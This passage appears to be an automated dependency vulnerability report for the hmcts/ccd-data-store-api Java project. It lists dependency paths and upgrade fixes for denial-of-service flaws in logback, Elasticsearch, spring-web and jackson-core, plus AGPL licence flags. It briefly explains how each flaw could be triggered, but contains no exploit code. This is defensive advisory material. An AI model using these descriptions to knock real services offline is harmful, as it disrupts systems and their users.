    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-validation@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-cache@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-jdbc@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') via the logback receiver component. An attacker can mount a denial-of-service attack by sending poisoned data.

Note:

Successful exploitation requires the logback-receiver component being enabled and also reachable by the attacker.

Remediation

Upgrade ch.qos.logback:logback-core to version 1.2.13, 1.3.14, 1.4.14 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: org.elasticsearch.plugin:lang-mustache-client
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:lang-mustache-client@6.3.1
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via specifically crafted search templates with Mustache functions. An attacker can cause the Elasticsearch node to crash by sending malicious search templates.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.elasticsearch.plugin:lang-mustache-client to version 7.17.25 or higher.

References

high severity

Incomplete Cleanup

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework.security:spring-security-web@7.1.0, org.springframework.security:spring-security-oauth2-core@7.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.hateoas:spring-hateoas@3.1.1 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.1.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-servlet@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-openfeign-core@5.0.1 io.github.openfeign:feign-form-spring@13.6 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Incomplete Cleanup via multipart request handling in WebFlux. An attacker can exhaust disk space by sending multipart requests with large parts that trigger creation of temporary files, which under certain conditions are not deleted after the request completes, leading to accumulation of temp files and denial of service.

Remediation

Upgrade org.springframework:spring-web to version 6.2.18, 7.0.7 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-core
  • Introduced through: co.elastic.clients:elasticsearch-java@9.2.4 and org.springframework.boot:spring-boot-starter-web@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-core@3.0.0
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.2.7.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-databind@3.0.0 tools.jackson.core:jackson-core@3.0.0
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.2.7.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-jackson@4.1.0 tools.jackson.core:jackson-databind@3.0.0 tools.jackson.core:jackson-core@3.0.0
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in ReaderBasedJsonParser.java and UTF8DataInputJsonParser.java, when processing deeply nested data. A regression in 3.0 versions caused the StreamReadConstraints.maxNestingDepth setting for DataInput to not be checked, allowing resources to be overwhelmed by malicious inputs.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.0 or higher.

References

high severity

AGPL-3.0 license

  • Module: org.elasticsearch:elasticsearch-entitlement
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-entitlement@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-entitlement@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-entitlement@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-entitlement@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-entitlement@9.2.4

AGPL-3.0 license

high severity

AGPL-3.0 license

  • Module: org.elasticsearch:elasticsearch-grok
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-grok@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-grok@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-grok@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-grok@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-grok@9.2.4

AGPL-3.0 license

high severity

AGPL-3.0 license

  • Module: org.elasticsearch:elasticsearch-logging
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-cli@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-cli@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch-cli@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-cli@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-cli@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-cli@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
